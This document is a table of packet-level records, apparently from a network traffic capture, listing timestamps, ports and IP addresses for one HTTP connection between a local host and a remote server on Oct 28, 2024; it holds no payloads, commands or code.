Oct 28, 2024 07:18:47.615739107 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615751982 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615766048 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615767002 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.615767002 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.615767002 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.615783930 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615796089 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615813017 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615823030 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615834951 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615848064 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615859985 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615871906 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615879059 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.615879059 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.615879059 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.615879059 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.615879059 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.615884066 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615902901 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615915060 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615926981 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615945101 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615957975 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615971088 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.615982056 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.616060972 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.616060972 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.616060972 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.616060972 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.616060972 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.635528088 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.635545969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.635559082 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.635706902 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.635714054 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.635725975 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.635737896 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.635816097 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637362003 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637376070 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637388945 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637407064 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637418032 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637429953 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637440920 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637453079 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637465954 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637476921 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637476921 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637476921 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637494087 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637506962 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637523890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637536049 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637547016 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637562990 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637576103 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637588024 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637698889 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637698889 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637698889 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637698889 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637698889 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637753010 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637764931 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637775898 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637797117 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637809992 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637819052 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637830973 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637841940 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637842894 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637842894 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637919903 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637931108 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637943029 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637947083 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637947083 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637955904 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637967110 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.637976885 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637976885 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.637984991 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638000965 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638012886 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638024092 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638032913 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638034105 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638045073 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638051033 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638056040 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638065100 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638066053 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638077021 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638096094 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638104916 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638115883 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638115883 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638118029 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638178110 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638178110 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638187885 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638199091 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638211012 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638221979 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638242006 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638258934 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638272047 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638283968 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638334036 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638350964 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638394117 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638465881 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638475895 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638488054 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638505936 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638516903 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638529062 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638528109 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638528109 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638528109 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638528109 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638528109 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638528109 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638540030 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.638753891 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638753891 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.638753891 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.679692030 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.679711103 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.679723024 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.679735899 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.680320024 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.680320024 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.680824041 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.680835962 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.680846930 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.680857897 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.681021929 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.697221041 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.720918894 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.720937014 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.720948935 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.720963001 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721157074 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.721157074 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.721214056 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721225977 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721235991 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721246958 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721281052 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.721281052 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.721319914 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721364975 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721381903 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721393108 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721405029 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721419096 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721431017 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721437931 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.721437931 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.721447945 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721460104 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721488953 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.721488953 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.721539974 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721549988 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721559048 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721573114 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.721592903 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.721606016 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.734447002 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734515905 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734529018 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734539986 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734553099 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734565973 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734577894 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734591007 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734648943 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734661102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734672070 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734684944 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734695911 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734709024 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734755039 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.734755039 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.734755039 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.734755039 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.734755039 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.734755039 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.734803915 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734817028 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734827995 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734842062 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734853029 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.734855890 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734869957 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734966993 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734978914 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.734991074 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735016108 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735028028 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735039949 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735055923 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735066891 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735080004 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735102892 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.735102892 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.735102892 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.735102892 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.735104084 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.735104084 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.735140085 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735151052 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735161066 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.735162020 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735176086 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735194921 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735205889 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.735271931 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.735271931 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.735272884 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.754741907 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.754760027 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.754772902 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.754857063 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.754868031 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.754872084 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.754885912 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.754898071 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.754909039 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.754916906 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.754936934 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.754960060 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.756510973 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756545067 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756561995 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756575108 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756587029 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756639957 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756695986 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756709099 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756721020 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756783009 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.756783009 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.756783009 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.756783009 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.756807089 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756817102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756819010 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756825924 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756835938 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756841898 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756872892 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.756872892 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.756936073 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756947994 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756961107 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756972075 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.756999969 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757010937 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757021904 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757034063 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757042885 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757055044 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757066011 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757066011 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757066965 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757066011 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757107019 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757153988 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757169962 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757180929 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757189989 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757191896 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757203102 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757221937 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757222891 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757236004 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757249117 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757280111 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757280111 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757291079 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757302046 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757302999 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757313967 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757323980 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757334948 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757363081 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757363081 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757369995 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757380009 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757390976 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757405996 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757421970 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757433891 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757445097 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757446051 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757467031 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757481098 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757494926 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757507086 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757519960 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757545948 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757548094 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757637024 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757683992 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757697105 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757735014 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757747889 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.757862091 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757862091 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.757862091 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.798742056 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.798764944 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.798777103 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.798846006 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.798846006 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.799912930 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.799930096 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.799942017 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.800131083 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.840009928 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840027094 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840156078 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.840178013 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840188026 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840271950 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840274096 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.840281963 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840318918 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.840354919 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840364933 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840399027 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.840434074 CET	80	49717	185.215.113.16	192.168.2.8
Oct 28, 2024 07:18:47.840491056 CET	49717	80	192.168.2.8	185.215.113.16
Oct 28, 2024 07:18:47.840492010 CET	80	49717	185.215.113.16	192.168.2.8
